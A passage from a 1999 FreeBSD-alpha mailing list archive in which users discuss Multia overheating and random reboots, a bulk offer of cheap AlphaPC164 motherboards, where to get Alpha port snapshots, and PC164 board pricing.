Celebris') that has functioned fine in other systems. I've been wondering if it's dodgy hardware due to Thermal Loading. The Multia Service manual says the machine should be a maximum internal air temperature of 40 Deg. Cent. which is only 104 Deg. Far. which really isn't very warm. The area of the MB around the Alpha chip and the Alpha chip heat sink gets up to right below the pain threshold, which makes it about 130-140 Deg Far. I don't have a decent thermometer anymore for actually measuring the air temp in the case. At one point I got a series of ncr0 firmware errors similar to those mentioned earlier, shut the system down and let it cool for a while and those problems went away. Subjectively the box seems to stay cooler in a horizontal mode than vertical in the little plastic stand supplied. I think part of the problem is vertical as the stand put's it, the P/S fan is blowing _against_ natural convection accross the Alpha CPU's heat sink. -- Mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 6:44:14 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id EE2C014E24 for ; Mon, 12 Apr 1999 06:44:05 -0700 (PDT) (envelope-from chuckr@mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.8.5) with ESMTP id JAA05004; Mon, 12 Apr 1999 09:39:52 -0400 (EDT) Date: Mon, 12 Apr 1999 09:39:52 -0400 (EDT) From: Chuck Robey To: Wilko Bulte Cc: FreeBSD-alpha mailing list Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) In-Reply-To: <199904112059.WAA06005@yedi.iaf.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 11 Apr 1999, Wilko Bulte wrote: > I assume that Thor has no problems with me forwarding this to > the FreeBSD/alpha list as well. Bulk prices tend to drop with > volume.. ;-) > > Wilko > > ----- Forwarded message from Thor Lancelot Simon ----- > > I've found a source of very cheap AlphaPC164 motherboards, with 500MHz CPU. I went looking on http://www.digital.com/alphaoem/alphamb.htm, and they show 3 PC164 motherboards, an -RX, -SX, and -LX versions of PC164. Do you know which one this is, so I can look at the specs? > > They have no memory, and no case or power supply (they take ECC FPM DRAM, > *not* SDRAM, and have 8 SIMM slots of which either 4 or 8 must be filled > with the same size parts) -- they should fit in standard ATX cases, but > require a special power supply ($70-$90, details available) which has a > normal "hard" power switch instead of the ATX "soft" switch. > > There is absolutely *no* warranty or guarantee, and the boards are as-is -- > though (if you trust me) I can tell you that they come from what I'd call a > very reliable source. They'll cost around $150-$200/ea, plus shipping. > > I'm very unlikely to make any money from this; I'm mentioning it here because > NetBSD/alpha runs great on these boards and, aside from the new 21264-based > systems, they're actually some of the fastest systems NetBSD runs on, period. > I'd like to see more people running NetBSD/alpha and I see this as a good > opportunity to help the interested do so for cheap. > > I'm going to do a bulk purchase of these boards in the near future -- let > me know in the next few days if you're intersted. > > Thor > > -- > Thor Lancelot Simon tls@rek.tjls.com > "And where do all these highways go, now that we are free?" > > ----- End of forwarded message from Thor Lancelot Simon ----- > > Groeten / Cheers, > Wilko > _ ______________________________________________________________________ > | / o / / _ Arnhem, The Netherlands > |/|/ / / /( (_) Bulte WWW : http://www.tcja.nl > _______________________ Powered by FreeBSD ___ http://www.freebsd.org _____ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run picnic (FreeBSD-current) (301) 220-2114 | and jaunt (Solaris7). ----------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 9:40:20 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from ftpbox.mot.com (ftpbox.mot.com [129.188.136.101]) by hub.freebsd.org (Postfix) with ESMTP id 1E43414D63 for ; Mon, 12 Apr 1999 09:40:10 -0700 (PDT) (envelope-from rittle@supra.rsch.comm.mot.com) Received: [from mothost.mot.com (mothost.mot.com [129.188.137.101]) by ftpbox.mot.com (MOT-ftpbox 1.0) with ESMTP id LAA25300; Mon, 12 Apr 1999 11:37:24 -0500 (CDT)] Received: [from supra.rsch.comm.mot.com (supra.rsch.comm.mot.com [145.1.80.40]) by mothost.mot.com (MOT-mothost 2.0) with ESMTP id LAA16129; Mon, 12 Apr 1999 11:37:24 -0500 (CDT)] Received: by supra.rsch.comm.mot.com (8.8.8+Sun/SMI-SVR4/LJR-2) id LAA19872; Mon, 12 Apr 1999 11:37:22 -0500 (CDT) Date: Mon, 12 Apr 1999 11:37:22 -0500 (CDT) Message-Id: <199904121637.LAA19872@supra.rsch.comm.mot.com> From: "Loren J. Rittle" To: dfr@nlsystems.com Cc: mark@jumpweb.com, freebsd-alpha@FreeBSD.ORG In-reply-to: (message from Doug Rabson on Sat, 10 Apr 1999 18:31:42 +0100 (BST)) Subject: Re: FreeBSD on Alpha Multia ( Reply-To: rittle@comm.mot.com References: User-Agent: SEMI/1.10.1 (Morimoto) FLIM/1.11.3 (Saidaiji) Emacs/20.3 (sparc-sun-solaris2.6) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.10.1 - "Morimoto") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In article , Doug Rabson writes: >> Issue 2 - Random crashes. With 3.1-RELEASE the system will randomly just >> restart without any messages from the kernel or a core dump. It's pretty >> consistently related to lots of disk activity especially with more than one >> process. With the latest 4.x SNAPSHOT things are much more stable and it's >> only done that once. > I'm not too sure what to suggest. Has anyone else noticed this on 3.1? I am using 3.1-RELEASE on a 433au configured to operate as a caching proxy WWW server. After a week of use, I have not seen this behavior. After resolving some initial driver problems, the machine has not gone down unless I asked it to do so. Also, I have run multiple concurrent copies of the PostMark benchmark (each of which places a very high load on the disk) and have seen no problems. Loren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 9:43: 3 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 3AE8414D33 for ; Mon, 12 Apr 1999 09:42:59 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from localhost (mjacob@localhost) by feral.com (8.8.7/8.8.7) with ESMTP id JAA23853; Mon, 12 Apr 1999 09:40:02 -0700 Date: Mon, 12 Apr 1999 09:40:02 -0700 (PWT) From: Matthew Jacob X-Sender: mjacob@feral-gw Reply-To: mjacob@feral.com To: Doug Rabson Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: FreeBSD on Alpha Multia ( In-Reply-To: <199904121637.LAA19872@supra.rsch.comm.mot.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 12 Apr 1999, Loren J. Rittle wrote: > In article , > Doug Rabson writes: > > >> Issue 2 - Random crashes. With 3.1-RELEASE the system will randomly just > >> restart without any messages from the kernel or a core dump. It's pretty > >> consistently related to lots of disk activity especially with more than one > >> process. With the latest 4.x SNAPSHOT things are much more stable and it's > >> only done that once. > > > I'm not too sure what to suggest. Has anyone else noticed this on 3.1? Yes, but only for the multia. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 9:47:50 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from aries.fortean.com (aries.fortean.com [209.42.229.210]) by hub.freebsd.org (Postfix) with ESMTP id 2353214D33 for ; Mon, 12 Apr 1999 09:47:44 -0700 (PDT) (envelope-from walter@fortean.com) Received: from localhost (walter@localhost) by aries.fortean.com (8.8.8/8.8.8) with SMTP id MAA09614; Mon, 12 Apr 1999 12:43:58 -0400 (EDT) (envelope-from walter@fortean.com) X-Authentication-Warning: aries.fortean.com: walter owned process doing -bs Date: Mon, 12 Apr 1999 12:43:58 -0400 (EDT) From: "Bruce M. Walter" To: Matthew Jacob Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: FreeBSD on Alpha Multia ( In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 12 Apr 1999, Matthew Jacob wrote: > > >> Issue 2 - Random crashes. With 3.1-RELEASE the system will randomly just > > [SNIP] > > > I'm not too sure what to suggest. Has anyone else noticed this on 3.1? > > Yes, but only for the multia. I'd be interested in finding out whether this is a 'FreeBSD thing' or a 'Multia thing.' I also run a 500au which does not show any signs of this problem. Of course, the Multia is a cat with different spots. Short of running NetBSD or Linux for a few weeks, does anyone have any suggestions on how to try to narrow the possibilities of what could be causing these reboots without panics? Also, does anyone out there have Multia success stories, or are we the only ones unlucky enough to be bothering with them? - Bruce ______________________ Bruce M. Walter, Principal NIXdesign Group Inc. 426 S. Dawson Street Raleigh NC 27601 USA 919.829.4901 Tel (ext 11) 919.829.4993 Fax http://www.nixdesign.com Visual communications | concept + code To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 10:10:15 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 71A131502F for ; Mon, 12 Apr 1999 10:10:10 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from localhost (mjacob@localhost) by feral.com (8.8.7/8.8.7) with ESMTP id KAA24014; Mon, 12 Apr 1999 10:07:04 -0700 Date: Mon, 12 Apr 1999 10:07:04 -0700 (PWT) From: Matthew Jacob X-Sender: mjacob@feral-gw Reply-To: mjacob@feral.com To: "Bruce M. Walter" Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: FreeBSD on Alpha Multia ( In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > On Mon, 12 Apr 1999, Matthew Jacob wrote: > > > > >> Issue 2 - Random crashes. With 3.1-RELEASE the system will randomly just > > > [SNIP] > > > > I'm not too sure what to suggest. Has anyone else noticed this on 3.1? > > > > Yes, but only for the multia. > > I'd be interested in finding out whether this is a 'FreeBSD thing' or a > 'Multia thing.' I also run a 500au which does not show any signs of this > problem. Of course, the Multia is a cat with different spots. Short of > running NetBSD or Linux for a few weeks, does anyone have any suggestions I've had it do this occasionally on Linux, but only for a really flakey older multia (is there any other kind)? I've not had this happen under NetBSD, but I haven't run NetBSD under load on a multia in 2 years. > on how to try to narrow the possibilities of what could be causing these > reboots without panics? > > Also, does anyone out there have Multia success stories, or are we the > only ones unlucky enough to be bothering with them? > These are success stories. They allow somebody to try the alpha architecture for < 500$. If you then realize that this particular alpha is 5-6 year old technology and quite quite slow, but otherwise seems interesting, you're then probably interested enough to spend the 2-4K$ for a ev56 type system that actually is quite usable. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 10:33:32 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id D43631500C for ; Mon, 12 Apr 1999 10:33:22 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id NAA14523 for ; Mon, 12 Apr 1999 13:31:04 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id NAA14514 for ; Mon, 12 Apr 1999 13:31:03 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id NAA20764 for ; Mon, 12 Apr 1999 13:31:17 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id NAA09773 for ; Mon, 12 Apr 1999 13:31:02 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX5LDZ>; Mon, 12 Apr 1999 13:31:00 -0400 Message-ID: From: "Koscielny, Wally" To: freebsd-alpha@FreeBSD.ORG Subject: Where is the Alpha Port Date: Mon, 12 Apr 1999 13:30:57 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, I am interested in installing FreeBSD Alpha on my 21164A 533 Mhz. on a AlphaPC164LX motherboard. My problem here is that I cannot find the Alpha Port anywhere. http://www.freebsd.org/alpha says nothing about its location. Thank You In Advance, Wally To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 11:21:38 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 76F4614D6D for ; Mon, 12 Apr 1999 11:21:33 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id TAA43817; Mon, 12 Apr 1999 19:22:55 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 12 Apr 1999 19:22:55 +0100 (BST) From: Doug Rabson To: Matthew Jacob Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: FreeBSD on Alpha Multia ( In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 12 Apr 1999, Matthew Jacob wrote: > > On Mon, 12 Apr 1999, Loren J. Rittle wrote: > > > In article , > > Doug Rabson writes: > > > > >> Issue 2 - Random crashes. With 3.1-RELEASE the system will randomly just > > >> restart without any messages from the kernel or a core dump. It's pretty > > >> consistently related to lots of disk activity especially with more than one > > >> process. With the latest 4.x SNAPSHOT things are much more stable and it's > > >> only done that once. > > > > > I'm not too sure what to suggest. Has anyone else noticed this on 3.1? > > Yes, but only for the multia. It sounds like some kind of special treat that is included free with this platform :-( I wonder if there is a software workaround. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 12:16:33 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id B1BE4155A3 for ; Mon, 12 Apr 1999 12:16:29 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id UAA45746; Mon, 12 Apr 1999 20:17:12 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 12 Apr 1999 20:17:12 +0100 (BST) From: Doug Rabson To: "Koscielny, Wally" Cc: freebsd-alpha@freebsd.org Subject: Re: Where is the Alpha Port In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 12 Apr 1999, Koscielny, Wally wrote: > Hello, > > I am interested in installing FreeBSD Alpha on my 21164A 533 Mhz. on a > AlphaPC164LX motherboard. My problem here is that I cannot find the Alpha > Port anywhere. http://www.freebsd.org/alpha says nothing about its location. The latest snapshots should be available in ftp://ftp.freebsd.org/pub/FreeBSD/snapshots/alpha. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 12:22:17 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id B1A321563C for ; Mon, 12 Apr 1999 12:22:12 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id PAA03866; Mon, 12 Apr 1999 15:19:52 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id PAA03861; Mon, 12 Apr 1999 15:19:52 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id PAA15836; Mon, 12 Apr 1999 15:20:06 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id PAA14716; Mon, 12 Apr 1999 15:19:50 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX5LLG>; Mon, 12 Apr 1999 15:19:49 -0400 Message-ID: From: "Koscielny, Wally" To: "'Doug Rabson'" Cc: freebsd-alpha@FreeBSD.ORG Subject: RE: Where is the Alpha Port Date: Mon, 12 Apr 1999 15:19:45 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Thanks. I am new to Alpha, will I be able to compile and run the ports from the x86 ports dir? Thanks > -----Original Message----- > From: Doug Rabson [SMTP:dfr@nlsystems.com] > Sent: Monday, April 12, 1999 3:17 PM > To: Koscielny, Wally > Cc: freebsd-alpha@FreeBSD.ORG > Subject: Re: Where is the Alpha Port > > On Mon, 12 Apr 1999, Koscielny, Wally wrote: > > > Hello, > > > > I am interested in installing FreeBSD Alpha on my 21164A 533 Mhz. on a > > AlphaPC164LX motherboard. My problem here is that I cannot find the > Alpha > > Port anywhere. http://www.freebsd.org/alpha says nothing about its > location. > > The latest snapshots should be available in > ftp://ftp.freebsd.org/pub/FreeBSD/snapshots/alpha. > > -- > Doug Rabson Mail: dfr@nlsystems.com > Nonlinear Systems Ltd. Phone: +44 181 442 9037 > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 12:30:26 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 224B014E95 for ; Mon, 12 Apr 1999 12:30:23 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id UAA45818; Mon, 12 Apr 1999 20:31:52 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 12 Apr 1999 20:31:52 +0100 (BST) From: Doug Rabson To: "Koscielny, Wally" Cc: freebsd-alpha@FreeBSD.ORG Subject: RE: Where is the Alpha Port In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 12 Apr 1999, Koscielny, Wally wrote: > Thanks. I am new to Alpha, will I be able to compile and run the ports from > the x86 ports dir? You should be able to, yes. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 12:32:39 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id 5556014D0A for ; Mon, 12 Apr 1999 12:32:33 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id PAA08470; Mon, 12 Apr 1999 15:30:15 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id PAA08460; Mon, 12 Apr 1999 15:30:14 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id PAA18231; Mon, 12 Apr 1999 15:30:28 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id PAA18446; Mon, 12 Apr 1999 15:30:12 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX5LL7>; Mon, 12 Apr 1999 15:30:11 -0400 Message-ID: From: "Koscielny, Wally" To: "'Doug Rabson'" Cc: freebsd-alpha@FreeBSD.ORG Subject: RE: Where is the Alpha Port Date: Mon, 12 Apr 1999 15:30:10 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Great, thanks again. > -----Original Message----- > From: Doug Rabson [SMTP:dfr@nlsystems.com] > Sent: Monday, April 12, 1999 3:32 PM > To: Koscielny, Wally > Cc: freebsd-alpha@FreeBSD.ORG > Subject: RE: Where is the Alpha Port > > On Mon, 12 Apr 1999, Koscielny, Wally wrote: > > > Thanks. I am new to Alpha, will I be able to compile and run the ports > from > > the x86 ports dir? > > You should be able to, yes. > > -- > Doug Rabson Mail: dfr@nlsystems.com > Nonlinear Systems Ltd. Phone: +44 181 442 9037 > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 13: 0:49 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mars.aros.net (mail.aros.net [207.173.16.20]) by hub.freebsd.org (Postfix) with ESMTP id 1A3451502B for ; Mon, 12 Apr 1999 13:00:46 -0700 (PDT) (envelope-from msanders@shell.aros.net) Received: from shell.aros.net (root@shell.aros.net [207.173.16.19]) by mars.aros.net (8.9.2/8.9.2) with ESMTP id NAA14102; Mon, 12 Apr 1999 13:58:26 -0600 (MDT) Received: from shell.aros.net (msanders@localhost.aros.net [127.0.0.1]) by shell.aros.net (8.9.3/8.9.3a) with ESMTP id NAA77656; Mon, 12 Apr 1999 13:58:26 -0600 (MDT) Message-Id: <199904121958.NAA77656@shell.aros.net> X-Attribution: msanders From: "Michael K. Sanders" To: Chuck Robey Cc: Wilko Bulte , FreeBSD-alpha mailing list Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) In-reply-to: Your message of "Mon, 12 Apr 1999 09:39:52 EDT." X-Mailer: MH 6.8.3 Date: Mon, 12 Apr 1999 13:58:26 -0600 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message , Chuck Robey writes: >I went looking on http://www.digital.com/alphaoem/alphamb.htm, and they >show 3 PC164 motherboards, an -RX, -SX, and -LX versions of PC164. Do >you know which one this is, so I can look at the specs? From Thor's description, it's none of these. They all use SDRAM DIMMS, where this board has 8 ECC FPM DRAM SIMM slots. >> They have no memory, and no case or power supply (they take ECC FPM DRAM, >> *not* SDRAM, and have 8 SIMM slots of which either 4 or 8 must be filled >> with the same size parts) -- they should fit in standard ATX cases, but >> require a special power supply ($70-$90, details available) which has a >> normal "hard" power switch instead of the ATX "soft" switch. >> >> There is absolutely *no* warranty or guarantee, and the boards are as-is -- >> though (if you trust me) I can tell you that they come from what I'd call a >> very reliable source. They'll cost around $150-$200/ea, plus shipping. >> >> I'm very unlikely to make any money from this; I'm mentioning it here becaus >e >> NetBSD/alpha runs great on these boards and, aside from the new 21264-based >> systems, they're actually some of the fastest systems NetBSD runs on, period >. >> I'd like to see more people running NetBSD/alpha and I see this as a good >> opportunity to help the interested do so for cheap. >> >> I'm going to do a bulk purchase of these boards in the near future -- let >> me know in the next few days if you're intersted. >> >> Thor >> >> -- >> Thor Lancelot Simon tls@rek.tjls.com >> "And where do all these highways go, now that we are free?" >> >> ----- End of forwarded message from Thor Lancelot Simon ----- >> >> Groeten / Cheers, >> Wilko >> _ ______________________________________________________________________ >> | / o / / _ Arnhem, The Netherlands >> |/|/ / / /( (_) Bulte WWW : http://www.tcja. >nl >> _______________________ Powered by FreeBSD ___ http://www.freebsd.org _____ >> >> >> To Unsubscribe: send mail to majordomo@FreeBSD.org >> with "unsubscribe freebsd-alpha" in the body of the message >> > >----------------------------+----------------------------------------------- >Chuck Robey | Interests include any kind of voice or data >chuckr@picnic.mat.net | communications topic, C programming, and Unix. >213 Lakeside Drive Apt T-1 | >Greenbelt, MD 20770 | I run picnic (FreeBSD-current) >(301) 220-2114 | and jaunt (Solaris7). >----------------------------+----------------------------------------------- > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-alpha" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 13:10:12 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id 521CE14D5E for ; Mon, 12 Apr 1999 13:10:04 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id QAA24991 for ; Mon, 12 Apr 1999 16:07:43 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id QAA24981 for ; Mon, 12 Apr 1999 16:07:42 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id QAA26681 for ; Mon, 12 Apr 1999 16:07:56 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id QAA01669 for ; Mon, 12 Apr 1999 16:07:41 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX5L3H>; Mon, 12 Apr 1999 16:07:38 -0400 Message-ID: From: "Koscielny, Wally" To: FreeBSD-alpha mailing list Subject: Alpha PC164LX / PC164 Date: Mon, 12 Apr 1999 16:07:37 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I can get the PC164LX with a 533 chip for ~$850 and the PC164 version with a 500 chip for ~$250. Is the additional 1 MB of Cache, 33 Mhz, SDRAM support, and upgradibility to 600 chip worth the extra cash ? Thanks, WK > -----Original Message----- > From: Michael K. Sanders [SMTP:msanders@confusion.net] > Sent: Monday, April 12, 1999 3:58 PM > To: Chuck Robey > Cc: Wilko Bulte; FreeBSD-alpha mailing list > Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) > > In message , Chuck > Robey > writes: > >I went looking on http://www.digital.com/alphaoem/alphamb.htm, and they > >show 3 PC164 motherboards, an -RX, -SX, and -LX versions of PC164. Do > >you know which one this is, so I can look at the specs? > > From Thor's description, it's none of these. They all use SDRAM > DIMMS, where this board has 8 ECC FPM DRAM SIMM slots. > > >> They have no memory, and no case or power supply (they take ECC FPM > DRAM, > >> *not* SDRAM, and have 8 SIMM slots of which either 4 or 8 must be > filled > >> with the same size parts) -- they should fit in standard ATX cases, but > >> require a special power supply ($70-$90, details available) which has a > >> normal "hard" power switch instead of the ATX "soft" switch. > >> > >> There is absolutely *no* warranty or guarantee, and the boards are > as-is -- > >> though (if you trust me) I can tell you that they come from what I'd > call a > >> very reliable source. They'll cost around $150-$200/ea, plus shipping. > >> > >> I'm very unlikely to make any money from this; I'm mentioning it here > becaus > >e > >> NetBSD/alpha runs great on these boards and, aside from the new > 21264-based > >> systems, they're actually some of the fastest systems NetBSD runs on, > period > >. > >> I'd like to see more people running NetBSD/alpha and I see this as a > good > >> opportunity to help the interested do so for cheap. > >> > >> I'm going to do a bulk purchase of these boards in the near future -- > let > >> me know in the next few days if you're intersted. > >> > >> Thor > >> > >> -- > >> Thor Lancelot Simon > tls@rek.tjls.com > >> "And where do all these highways go, now that we are free?" > >> > >> ----- End of forwarded message from Thor Lancelot Simon ----- > >> > >> Groeten / Cheers, > >> Wilko > >> _ > ______________________________________________________________________ > >> | / o / / _ Arnhem, The Netherlands > >> |/|/ / / /( (_) Bulte WWW : > http://www.tcja. > >nl > >> _______________________ Powered by FreeBSD ___ http://www.freebsd.org > _____ 